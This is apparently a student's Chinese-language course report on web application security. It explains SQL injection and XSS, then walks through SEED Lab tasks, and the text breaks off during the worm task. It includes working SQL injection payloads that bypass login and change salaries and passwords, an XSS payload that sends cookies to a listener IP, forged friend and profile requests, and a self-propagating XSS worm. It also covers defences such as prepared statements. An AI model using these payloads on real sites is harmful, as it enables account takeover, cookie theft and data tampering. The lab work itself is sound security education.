20199102 2019-2020-2 《网络攻防实践》第十一周作业
20199102 2019-2020-2 《网络攻防实践》第十一周作业
关于sql注入和XSS攻击感觉自己叙述能力并不够,但是实践过程中给出了完整的攻击、分析、防御的过程。
1.实践内容
1.1Web应用程序体系结构及其安全威胁
-
Web应用体系结构
-
首先web体系结构的整体架构如下图所示:
-
表现层:浏览器:浏览器是用来检索、展示以及传递Web信息资源的应用程序。Web信息资源由统一资源标识符所标记。使用者可以借助超级链接,通过浏览器浏览互相关联的信息。至今为止Web分为共产生了三个版本:
Web 1.0
最早的网络构想来源于 1980 年由 Tim Berners-Lee 构建的ENQUIRE项目,这是一个超文本在线编辑数据库;Web 2.0
软件被当成一种服务,Internet从一系列网站演化成一个成熟的为最终用户提供网络应用的服务平台,强调用户的参与、在线的网络协作、数据储存的网络化、社会关系网络、RSS应用以及文件的共享等成为了Web2.0发展的主要支撑和表现;Web 3.0
将杂乱的微内容进行最小单位的继续拆分,同时进行词义标准化、结构化,实现微信息之间的互动和微内容间基于语义的链接。Web3.0能够进一步深度挖掘信息并使其直接从底层数据库进行互通。 -
中间控制层:Web前端系统:为了达到不同应用的服务器共享、避免单点故障、集中管理、统一配置等目的,不以应用划分服务器,而是将所有服务器做统一使用,每台服务器都可以对多个应用提供服务,当某些应用访问量升高时,通过增加服务器节点达到整个服务器集群的性能提高,同时使他应用也会受益。该Web前端系统基于
Apache/Lighttpd/Eginx
等的虚拟主机平台,提供PHP程序运行环境。服务器对开发人员是透明的,不需要开发人员介入服务器管理
图1 WEB前端系统架构 -
中间控制层:负载均衡系统:负载均衡系统分为硬件和软件两种。硬件负载均衡效率高,但是价格贵,比如F5等。软件负载均衡系统价格较低或者免费,效率较硬件负载均衡系统低,不过对于流量一般或稍大些网站来讲也足够使用,比如
lvs, nginx
。大多数网站都是硬件、软件负载均衡系统并用。
图2 负载均衡系统 -
数据库服务器:数据库集群系统: 由于Web前端采用了负载均衡集群结构提高了服务的有效性和扩展性,因此数据库必须也是高可靠的,才能保证整个服务体系的高可靠性,构建一个高可靠的、可以提供大规模并发处理的数据库体系
图3 数据库集群系统 -
数据库服务器:缓存系统: 缓存分为文件缓存、内存缓存、数据库缓存。在大型Web应用中使用最多且效率最高的是内存缓存。最常用的内存缓存工具是
Memcached
。使用正确的缓存系统可以达到实现以下目标:使用缓存系统可以提高访问效率,提高服务器吞吐能力,改善用户体验;减轻对数据库及存储集服务器的访问压力;Memcached
服务器有多台,避免单点故障,提供高可靠性和可扩展性,提高性能。
图4 数据库缓存
-
-
Web应用安全威胁
- 针对浏览器和终端用户的web浏览安全威胁
- 针对传输层网络的网络协议安全威胁
- 系统层安全威胁
- web服务器软件安全威胁
- web应用程序安全威胁
- web数据安全威胁
1.2 Web应用安全攻防技术概述
- Web应用的信息收集
- 手工审查web应用程序结构和原代码
- 自动下载与镜像web站点页面
- 使用
Goole Hacking
技术审查与探测web应用程序 - web应用程序安全评估与漏洞探测
- 攻击Web服务器软件
- 数据驱动的远程代码执行安全漏洞
- 服务器功能拓展模块漏洞
- 样本文件安全漏洞
- 原代码泄露
- 资源解析攻击
- 攻击Web应用程序
- 针对认证机制的攻击
- 针对授权机制的攻击
- 客户端攻击
- 命令执行攻击
- 信息泄露
- 逻辑攻击
- 攻击web数据内容
- 安全敏感数据泄露
- 网站篡改
- 不良信息内容上传
- Web应用安全防范措施
- web站点网络传输安全设防措施
- Web站点操作系统及安全设防措施
- web应用程序安全设防措施
- web站点数据安全设防措施
1.3 SQL注入
-
SQL注入攻击原理
-
SQL注入解释:SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。
-
sql注入产生原因:sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。对于Java数据库连接JDBC而言,SQL注入攻击只对Statement有效,对
PreparedStatement
是无效的,这是因为PreparedStatement
不允许在不同的插入时间改变查询的逻辑结构。 -
sql注入形式: SQL注入式攻击的主要形式有两种。一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量。上面笔者举的例子就是采用了这种方法。由于其直接与SQL语句捆绑,故也被称为直接注入式攻击法;二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原书据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。如以直接注入式攻击为例。就是在用户输入变量的时候,先用一个分号结束当前的语句。然后再插入一个恶意SQL语句即可。由于插入的命令可能在执行前追加其他字符串,因此攻击者常常用注释标记“—”来终止注入的字符串。执行时,系统会认为此后语句位注释,故后续的文本将被忽略,不被编译与执行。
-
sql注入攻击举例: 这里我们举一个比较常见的例子来简要说明一下sql注入的原理。假如我们有一个
users
表,里面有两个字段username
和password
。在我们的java代码中我们初学者都习惯用sql拼接的方式进行用户验证。比如:select id from users where username = '"+username +"' and password = '" + password +"'
这里的
username
和password
都是我们存取从web表单获得的数据。下面我们来看一下一种简单的注入,如果我们在表单中username
的输入框中输入' or 1=1--
,password的表单中随便输入一些东西,假如这里输入123
.此时我们所要执行的sql语句就变成了select id from users where username = '' or 1=1-- and password = '123'
我们来看一下这个sql,因为
1=1
是true
,后面and password = '123'
被注释掉了。所以这里完全跳过了sql验证。
-
-
SQL注入攻击步骤和过程 这里网上有详细的教程
图5 sql注入攻击步骤和过程- 发现注入点
- 判断后台数据库类型
- 后台能数据库中管理员用户口令字猜测
- 上传ASP后门,得到默认账户权限
- 本地权限提升
- 利用数据库扩展存储过程执行shell命令
-
SQL注入攻击工具
- 这里给出两个常用的sql注入工具,地址连接在这里10 个 SQL 注入工具
- BSQL Hacker:BSQL Hacker是由Portcullis实验室开发的,BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注),其设计的目的是希望能对任何的数据库进行SQL溢出注入。 BSQL Hacker的适用群体是那些对注入有经验的使用者和那些想进行自动SQL注入的人群。BSQL Hacker可自动对Oracle和MySQL数据库进行攻击,并自动提取数据库的数据和架构。
- Pangolin: Pangolin是一款帮助渗透测试人员进行SQL注入测试的安全工具。Pangolin具备友好的图形界面以及支持测试几乎所有数据库。Pangolin能够通过一系列非常简单的操作,达到最大化的攻击测试效果。它从检测注入开始到最后控制目标系统都给出了测试步骤。Pangolin是目前国内使用率最高的SQL注入测试的安全软件。
-
SQL注入攻击防范措施
-
使用类型安全的参数编码机制:
-
凡是来自外部用户的输入,必须进行完备性检查:通过正则表达校验用户输入,首先我们可以通过正则表达式校验用户输入数据中是包含:对单引号和双"-"进行转换等字符。然后继续校验输入数据中是否包含SQL语句的保留字,如:WHERE,EXEC,DROP等。示例代码如下:
private static readonly Regex RegSystemThreats = new Regex(@"\s?or\s*|\s?;\s?|\s?drop\s|\s?grant\s|^'|\s?--|\s?union\s|\s?delete\s|\s?truncate\s|" + @"\s?sysobjects\s?|\s?xp_.*?|\s?syslogins\s?|\s?sysremote\s?|\s?sysusers\s?|\s?sysxlogins\s?|\s?sysdatabases\s?|\s?aspnet_.*?|\s?exec\s?", RegexOptions.Compiled | RegexOptions.IgnoreCase);
当我们再次执行以下URL时,被嵌入的恶意语句被校验出来了,从而在一定程度上防止了SQL Injection。
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or'1'='1
图6 正则匹配用户输入 -
将sql语句替换为存储过程,将sql指令预编译:通过参数化存储过程进行数据查询存取,首先我们定义一个存储过程根据jobId来查找jobs表中的数据。
-- ============================================= -- Author: JKhuang -- Create date: 12/31/2011 -- Description: Get data from jobs table by specified jobId. -- ============================================= ALTER PROCEDURE [dbo].[GetJobs] -- ensure that the id type is int @jobId INT AS BEGIN -- SET NOCOUNT ON; SELECT job_id, job_desc, min_lvl, max_lvl FROM dbo.jobs WHERE job_id = @jobId GRANT EXECUTE ON GetJobs TO pubs END
接着修改我们的Web程序使用参数化的存储过程进行数据查询。
using (var com = new SqlCommand("GetJobs", con)) { // Uses store procedure. com.CommandType = CommandType.StoredProcedure; // Pass jobId to store procedure. com.Parameters.Add("@jobId", SqlDbType.Int).Value = jobId; com.Connection.Open(); gdvData.DataSource = com.ExecuteScalar(); gdvData.DataBind(); }
图7 参数化存储过程 大家看到当我们试图在URL中嵌入恶意的SQL语句时,参数化存储过程已经帮我们校验出传递给数据库的变量不是整形,而且使用存储过程的好处是我们还可以很方便地控制用户权限,我们可以给用户分配只读或可读写权限。
-
参数化SQL语句:还是回到之前动态拼接SQL基础上,我们知道一旦有恶意SQL代码传递过来,而且被拼接到SQL语句中就会被数据库执行,那么我们是否可以在拼接之前进行判断呢?——命名SQL参数。
string sql1 = string.Format("SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE job_id = @jobId"); using (var con = new SqlConnection(ConfigurationManager.ConnectionStrings["SQLCONN1"].ToString())) using (var com = new SqlCommand(sql1, con)) { // Pass jobId to sql statement. com.Parameters.Add("@jobId", SqlDbType.Int).Value = jobId; com.Connection.Open(); gdvData.DataSource = com.ExecuteReader(); gdvData.DataBind(); }
图8 参数化sql语句
-
1.4 XSS跨站脚本攻击
- XSS攻击技术原理
- XSS 跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。
- 在WEB2.0时代,强调的是互动,使得用户输入信息的机会大增,在这个情况下,我们作为开发者,在开发的时候,要提高警惕。
- XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义
- XSS攻击类型
- 持久型XSS攻击就是把攻击数据存进数据库,攻击行为就伴随着攻击数据一直存在,下面找来一个利用持久型攻击获取Session ID,同时向浏览器传送一个cookie,(这里科普一下,即使是使用了session验证的方法,还是需要客户端支持cookie), cookie会保存会话连接中的数据,Session ID作为会话标识,浏览器的后续请求就会基于后续请求,攻击者可以提供一个攻击链接,用户点击该链接时,向攻击者自己的服务器发送一条保存有session id 的信息,这样就可以窃取到用户的session id,得到用户的登录权限了。
- XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
- XSS攻击防范措施
- 输入验证:主要是用来验证不能包含某些关键标签符号。
- 对输出进行编码:在输出数据之前对潜在的威胁的字符进行编码、转义是防御XSS攻击十分有效的措施。如果使用好的话,理论上是可以防御住所有的XSS攻击的。对所有要动态输出到页面的内容,通通进行相关的编码和转义。当然转义是按照其输出的上下文环境来决定如何转义的。
- 清除危险的输入点
HttpOnly
与XSS
防御:一般的Cookie都是从document对象中获得的,现在浏览器在设置 Cookie的时候一般都接受一个叫做HttpOnly
的参数,跟domain等其他参数一样,一旦这个HttpOnly
被设置,你在浏览器的document
对象中就看不到Cookie
了,而浏览器在浏览的时候不受任何影响**,因为Cookie会被放在浏览器头中发送出去(包括ajax的时 候),应用程序也一般不会在js里操作这些敏感Cookie
的,对于一些敏感的Cookie我们采用HttpOnly
,对于一些需要在应用程序中用js操作的cookie
我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。
2.实践过程
2.1 实践一:SQL Injection Attack Lab
- Task 1: Get Familiar with SQL Statements
- Task 2: SQL Injection Attack on SELECT Statement
- Task 2.1: SQL Injection Attack from webpage
- Task 2.2: SQL Injection Attack from command line.
- Task 2.3: Append a new SQL statement.
- Task 3: SQL Injection Attack on UPDATE Statement
- Task 3.1: Modify your own salary.
- Task 3.2: Modify other people’ salary.
- Task 3.3: Modify other people’ password.
- Task 4: Countermeasure — Prepared Statement
-
Task 1: Get Familiar with SQL Statements
-
首先由于更新系统,在最新的SEED16.04中,
SQL Injection Attack Lab
的相关地址转变成了www.SEEDLabSQLInjection.com
,在这个网站中主要有两种成员Administrator
和Employee
。为了便于接下来的实验,我们先将数据库中的所有信息列在这里。Name EmployeeId Password Admin 99999 seedadmin Alice 10000 seedalice Boby 20000 seedboby Ryan 30000 seedryan Samy 40000 seedsamy Ted 50000 seedted -
接下来我们需要数据库的详细信息,这里给出这个网站使用的
mysql
数据库,数据库的账户是root
,密码是seedubuntu
。我们可以用如下的指令进行登录。> mysql -uroot -p
-
登录之后,我们可以通过下述指令切换到
Users
数据库中并查看数据库中的所有的表use Users; show tables;
图9 查看数据库中的表 -
接下来我们就可以使用如下的语句进行数据库的查询
select * from credential
得到的结果如下:
图10 查询数据库中所有元素 -
如果我们要查询单独的某一个用户,可以通过如下语句进行查询:
select * from credential where Name=Alice
图11 查询数据库中的某一条信息
-
-
Task 2: SQL Injection Attack on SELECT Statement
-
Task 2.1: SQL Injection Attack from webpage
-
首先我们打开网站
SEEDLabSQLInjection.com
,其对应的文件地址在/var/www/SQLInjection
。其中有一个存在sql注入攻击的主页unsafe_home.php
,我们可以通过vim查看对应的原代码找到这样一段关于数据库查询的代码vim /var/www/SQLInjection/unsafe_home.php $input_uname = $_GET[’username’]; $input_pwd = $_GET[’Password’]; $input_uname = sha1($input_pwd); ... $sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’"; $result = $conn -> query($sql); if(id != NULL) { if(name==’admin’) { return All employees information; } else if (name !=NULL){ return employee information; } } else { Authentication Fails; }
-
分析上文的代码,我们不难看到这里主要使用了
$_GET[’username’]
和$_GET[’Password’]
两个session中的元素,并且对pwd进行了hash运算,获得了加密之后的参数(直接hash就等于白给)。接下来使用$input_uname
和$input_uname
构建sql查询语句。最后,我们注意到对于Admin
和其他员工所显示的页面是不同的。下面给出构建的sql语句,SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’
-
通过分析上文构建的sql语句,如果我们输入的
username
字段为Admin‘#
,Password
字段为任意值。我们通过上述代码组合sql语句就可以得到如下的sql查询语句SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’Admin' #’ and Password=’$hashed_pwd’
-
我们知道
#
在sql语句中代表注释,也就是说上述代码中#
之后的内容在实际执行sql语句的过程中是看不到的。上述语句在mysql解释器中也就变成了下属代码,也就不难看到其实并没有对密码进行判断。这也就是最简单的sql注入攻击
。SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’Admin'
-
这里通过
Http Heard live
插件(下一个实践我会说明这个插件怎么安装)看到具体的请求信息,如下图。这里把这个请求信息记录下来下一问要用到。
图12 sql注入攻击 -
sql注入攻击之后我们可以看到成功进入了Admin的主页,也就证明了我们攻击的成功。
图13 Admin的主页
-
-
Task 2.2: SQL Injection Attack from command line.**
-
这里我们需要用到一个Linux下的自带工具,
curl
。它可以用来请求页面,由于这个网页是使用GET的方式传递数据,我们也就可以使用将参数放置在请求的方式进行sql注入攻击。具体的命令如下curl http://www.seedlabsqlinjection.com/unsafe_home.php?username=Admin%27%23&Password=123
-
执行上述指令我们可以看到如下的返回结果
图14 curl结果 -
通过红框部分的信息我们不难看出,sql注入攻击成功。
-
-
Task 2.3: Append a new SQL statement.
-
在上述两个sql注入攻击中,我们仅仅从数据库中拿到了已有的数据,现在我们要做的就通过sql注入插入或者修改数据。
-
我们知道
;
是sql语句的结束符,那么我们可以在构建sql注入攻击的时候,使用;
将一条语句分割成两条sql语句,其中第二条是我们精心构建的插入或者修改语句。 -
具体的执行的代码如下,这里为了方便注入我们使用第一题中使用的注入方式。
Admin’; updata credential set salary='1' where Name='Admin' #
-
但是这里我们发现攻击失败,这里调试了很多次,每次php都会对第二条sql语句报错,即使这条语句在mysql中执行无误。
-
-
-
Task 3: SQL Injection Attack on UPDATE Statement
-
Task 3.1: Modify your own salary.
-
首先我们查看后台代码
/var/www/SQLInjection/unsafe edit backend.php
,从中我们不难找到相关的后台数据修改的代码。代码如下,我们先分析分析代码$hashed_pwd = sha1($input_pwd); $sql = "UPDATE credential SET nickname=’$input_nickname’, email=’$input_email’, address=’$input_address’, Password=’$hashed_pwd’, PhoneNumber=’$input_phonenumber’ WHERE ID=$id;"; $conn->query($sql);
-
上述代码的核心还是那个动态构建的sql语句,这也就是sql注入攻击的关键。如果我们输入的
nickname
字段为‘, salary=’1‘ where Name=’Alice‘; #
,那么最终被构建的sql语句就将变化为UPDATE credential SET nickname=’‘, salary=’1‘ where Name=’Alice‘; # ’,email=’$input_email’, address=’$input_address’, Password=’$hashed_pwd’, PhoneNumber=’$input_phonenumber’ WHERE ID=$id;";
-
不难看出上述查询语句中,改变了原本不应该改变的
salary
字段值。 -
我们将特殊构建的
nickname
,输入Edit Profile
页面的nickname
字段,然后点击Save
,就可得到如下图的注入结果(Address字段是我第一次做实验的时候修改的,没有改回来)
图16 注入结果
-
-
Task 3.2: Modify other people’ salary.
-
我们发现在上述特殊构建的
nickname
中我们的Name
是指定的。这样通过修改Name
字段的值,我们就可以做到修改任意用户的Salary
字段。 -
我们构建
nickname
字段的值为', salary=987654321 where Name='Admin'#
。这样最终得到的sql语句就变成了UPDATE credential SET nickname=’’, salary=’987654321‘ where Name=’Admin‘ # ’,email=’$input_email’, address=’$input_address’, Password=’$hashed_pwd’, PhoneNumber=’$input_phonenumber’ WHERE ID=$id;";
-
我们将特殊构建的
nickname
,输入Edit Profile
页面的nickname
字段,然后点击Save
,就可得到如下图的注入结果(在第一个实验中,我把Admin的Salary字段改成了1, 现在变成了987654321)
图17 注入结果
-
-
Task 3.3: Modify other people’ password.
-
首先我们查看
unsafe edit backend.php
这个网页的源代码,从中我们可以看到,我们输入的密码经过sha1加密之后将其保存到了数据库的Password
字段,由此我们不难构建如下的攻击 -
我们构建
nickname
字段的值为', Password=’password‘ where Name='Alice'
。这样最终得到的sql语句就变成了UPDATE credential SET nickname=’’, Password=’password‘ where Name=’Admin‘ # ’,email=’$input_email’, address=’$input_address’, Password=’$hashed_pwd’, PhoneNumber=’$input_phonenumber’ WHERE ID=$id;";
-
我们将特殊构建的
nickname
,输入Edit Profile
页面的nickname
字段,然后点击Save
,就可得到如下图的注入结果(这里为了验证结果,我们直接去看mysql数据库中的字段) -
此外我们通过命令
echo -n password | openssl sha1
可以知道sha1(password)
的值是5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
。与下图对比我们知道数据库中保存的值是正确的。
图18 数据库查询结果
-
-
-
Task 4: Countermeasure — Prepared Statement
-
为了了解如何防御sql注入攻击,我们首先要知道sql语句的编译过程。编译sql语句主要分为四个阶段
Parsing & Normalizaion Phasing
、Compilation Phase
、Query optimization Phase
和Cache
。 -
对于每个进行查询的sql语句,先要从cache进行查询看是否有已经编译好的程序,如果有就直接进行使用。若没有,则格式化字符串,编译语句,查询编译语句的优化执行,将编译好的内容放入cache,最后执行编译好的sql语句。
-
这里额外需要注意到的是,对于编译好的内容,各个标签的含义是确定的。例如我们使用
', salary=987654321 where Name='Admin'#
在上文对Nickname
字段进行注入。但是在预编译好的sql语句中', salary=987654321 where Name='Admin'#
这一个完整的字段将看作nickname
标签的参数,这样就杜绝了通过构建sql语句进行的sql注入攻击。 -
首先我们先给出常见的通过组合构建sql语句进行的查询
$sql = "SELECT name, local, gender FROM USER_TABLE WHERE id = $id AND password =’$pwd’ "; $result = $conn->query($sql))
-
接下来我们给出通过sql预编译形成的查询语句,语义和上述代码等价
$stmt = $conn->prepare("SELECT name, local, gender FROM USER_TABLE WHERE id = ? and password = ? "); // Bind parameters to the query $stmt->bind_param("?", $id, $pwd); $stmt->execute(); $stmt->bind_result($bind_name, $bind_local, $bind_gender); $stmt->fetch();
-
2.2 实践二:Cross-Site Scripting (XSS) Attack Lab
- Preparation: Getting Familiar with the "HTTP Header Live" tool
- Task 1: Posting a Malicious Message to Display an Alert Window
- Task 2: Posting a Malicious Message to Display Cookies
- Task 3: Stealing Cookies from the Victim’s Machine
- Task 4: Becoming the Victim’s Friend
- Task 5: Modifying the Victim’s Profile
- Task 6: Writing a Self-Propagating XSS Worm
- Task 7: Countermeasures
-
Preparation: Getting Familiar with the "HTTP Header Live" tool
-
首先我们还是要给出
Elgg
中已经注册的账户信息,如下表给出:User UserName Password Admin admin seedelgg Alice alice seedalice Boby boby seedboby Charlie charlie seedcharlie Samy samy seedsamy -
接下来给出当前站点的地址和对应的后台文件地址
URL: http://www.xsslabelgg.com Folder: /var/www/XSS/Elgg/
-
接下来我们需要安装
HTTP Header Live
插件。首先我们打开firefox附加组件(注意这里不要挂代理,不不然会出现500错误)。查找上述组件,安装,接下来我们可以在View
->SideBar
中找到它。 -
在接下来的实验中,我们使用
Alice
作为攻击者,Boby
作为受害者,Admin
作为蠕虫攻击的第二波受害者。
-
-
Task 1: Posting a Malicious Message to Display an Alert Window
-
这里我们先用
Alice
的账号密码进行登录。接下来我们打开Alice
的个人页面,编辑个人页面。 -
我们在
Brief description
中插入我们的XSS攻击代码<script> alert('xss');</script>
。如下图所示
图19 xss语句 -
点击下方的
Save
就能看到xss攻击的结果,如下图所示
图20 xss弹窗
-
-
Task 2: Posting a Malicious Message to Display Cookies
-
这里我们先用
Alice
的账号密码进行登录。接下来我们打开Alice
的个人页面,编辑个人页面。 -
我们在
Brief description
中插入我们的XSS攻击代码<script> alert(document.cookie);</script>
。如下图所示
图21 xss语句 -
点击下方的
Save
就能看到xss攻击的结果,如下图所示
图22 xss弹窗
-
-
Task 3: Stealing Cookies from the Victim’s Machine
-
上文中我们提到过,对于反射形XSS攻击,只能在得到本机的cookie,想要将这个cookie传递到攻击的者的手里需要人为的构建一个请求,下面我们就来实现这个过程。
-
首先我们要将上文获得的cookie放入一个特殊构建的请求,向攻击者服务器发送这个请求。具体构建结果如下。这里的
192.168.200.5
是我的seed的地址,可以改成任意的可访问的ip地址,后面的端口号可以任意填写,但是不能与现有端口号重复。<script>document.write(’<img src=http://192.168.200.5:9456?c=’+ escape(document.cookie) + ’ >’); </script>
-
然后我们在上文ip地址对应的机器上运行命令
nc -l 9456 -v
。解释一下nc
就是之前用到的netcat
,-l
命令指明监听的是TCP连接,9456
是我上文提到的端口号,-v
用来输出更详细的信息。 -
之后任意用户访问
Alice
的主页都将向攻击者的服务器发送对应的cookie信息。最后得到的结果如下图,其中红框圈出的部分就是获取到的cookie。
图23 获得的cookie
-
-
Task 4: Becoming the Victim’s Friend
-
在XSS攻击之前,我们首先要知道:在正常的情况下,添加好友应该发送什么样的指令。为此我们首先打开一个blog界面,点击
Add Friend
,并同时使用HTTP Header Live
查看发送的数据。我们得到如下图的信息。
图24 添加好友指令 -
从上图中我们可以看到如下的信息:
- 请求的方式是
POST
- 请求的地址是
http://www.xsslabelgg.com/action/friends/add
- 请求地址的第一个参数是
friend=
- 请求地址的第二个参数是
&__elgg_ts=
- 请求地址的第三个参数是
&__elgg_token=
- 也就是说我们要指明添加的好友,添加的时间并进行添加者的身份验证。
- 请求的方式是
-
结合上文我们分析得到的信息,可以编写出如下的代码,用于xss攻击自动添加好友
<script type="text/javascript"> window.onload = function () { var Ajax=null; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the HTTP request to add Samy as a friend. var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; //Create and send Ajax request to add friend Ajax=new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script>
-
简单说一下这段代码:
- 首先我们获取到了访问者的
elgg_ts
和elgg_token
- 接下来按照上文的分析构建了请求url,也就是上文的
sendurl
- 我们通过
XMLHttpRequest
构建请求,请求的方式为get
, 并设置请求头和其他信息 - 通过send函数发送请求。
- 首先我们获取到了访问者的
-
接下来我们将这段代码放到
Alice
的About ME
,注意这里要用右上角的Edit HTML
模式,可视模式会将代码中的符号进行自动转义,从而导致攻击失败。 -
接下来我们删除
Boby
的好友。截图如下
图25 xss攻击之前 -
用
boby
的账号访问Alice
的个人主页,接下来我们截获到这样一条请求
图26 XSS攻击请求 -
返回看
boby
的朋友圈会看到
图27 朋友圈 -
至此,攻击成功。但是我们发现这个攻击只具有攻击模块,而不具备传染模块,我们在接下来的任务6中将会把他改编成一个蠕虫病毒。
-
-
Task 5: Modifying the Victim’s Profile
-
在XSS攻击之前,我们首先要知道:在正常的情况下,修改简介应该发送什么样的指令。为此我们首先打开一个blog界面,点击
Edit profile
,并同时使用HTTP Header Live
查看发送的数据。我们得到如下图的信息。
图28 修改简介的指令 -
从上图中我们可以看到如下的信息:
- 请求的方式是
POST
- 请求的地址是
http://www.xsslabelgg.com/action/profile/edit
- 请求地址的第一个参数是
&__elgg_token=
- 请求地址的第二个参数是
&__elgg_ts=
- 请求地址的第三个参数是
&__name=elgg.session.user.name
- 接下来就是profile各个部分的内容
- 请求的方式是
-
结合上文我们分析得到的信息,可以编写出如下的代码,用于xss攻击自动添加好友
<script type="text/javascript"> window.onload = function(){ //JavaScript code to access user name, user guid, Time Stamp __elgg_ts //and Security Token __elgg_token var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the content of your url. var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit" alert(content) //FILL IN var samyGuid=44; //FILL IN if(elgg.session.user.guid!=samyGuid) { //Create and send Ajax request to modify profile var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
-
简单说一下这段代码:
- 首先我们获取到了访问者的
&__elgg_token=
、__elgg_ts
、&__name=elgg.session.user.name
和页面的其他信息。 - 接下来按照上文的分析构建了请求url,也就是上文的
sendurl
- 我们通过
XMLHttpRequest
构建请求,请求的方式为POST
, 并设置请求头和其他信息 - 通过send函数发送请求。
- 首先我们获取到了访问者的
-
接下来我们将这段代码放到
Alice
的About ME
,注意这里要用右上角的Edit HTML
模式,可视模式会将代码中的符号进行自动转义,从而导致攻击失败。 -
接下来我们删除
Boby
的profile
。截图如下
图29 xss攻击之前 -
用
boby
的账号访问Alice
的个人主页,接下来我们截获到这样一条请求
图30 xss攻击指令 -
返回看
boby
的个人主页会看到
图31 xss攻击结果 -
至此,攻击成功。但是我们发现这个攻击只具有攻击模块,而不具备传染模块,我们在接下来的任务6中将会把他改编成一个蠕虫病毒。
-
-
Task 6: Writing a Self-Propagating XSS Worm
-
在这里我们先介绍一段神奇的代码
<script id=worm> var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; ➀ var jsCode = document.getElementById("worm").innerHTML; ➁ var tailTag = "</" + "script>"; ➂ var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); ➃ alert(headerTag + jsCode + tailTag); </script>
-
在浏览器中运行这段代码会发现这段代码输出了他自己,我们来详细分析一下。
- 首先核心就是第3行,使用
innerHTML
标签获取了worm
当前块内的所有代码。 - 接下来第二行和第四行我们将
innerHTML
中缺失的头和尾补充上。 - 接下来为了防止其中的一些符号对字符进行了截断和转义 ,我们假期进行URI编码,也就是
encodeURIComponent
函数 - 最后我们
alert
输出(这里为了方便展示,我们输出的是编码之前的”明文“)
- 首先核心就是第3行,使用
-
有了上边的”收尾相连“的工具我们不难构建出如下的蠕虫攻击代码
<script id="worm" type="text/javascript"> window.onload = function(){ var headerTag = "<script id=\'worm\' type=\'text/javascript\'>"; var jsCode = document.getElementById("worm").innerHTML; var tailTag = "</" + "script>"; var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the content of your url. var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit" alert(content) var samyGuid=44; if(elgg.session.user.guid!=samyGuid) { var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
-
这个代码的核心就是将第五题的代码和我们上文提到的代码柔和到了一起。第五题的代码是蠕虫的攻击部,上文给出的代码是传播部。
-
这里我们将上述代码放到
Alice
的About ME
部分,注意这里要用右上角的Edit HTML
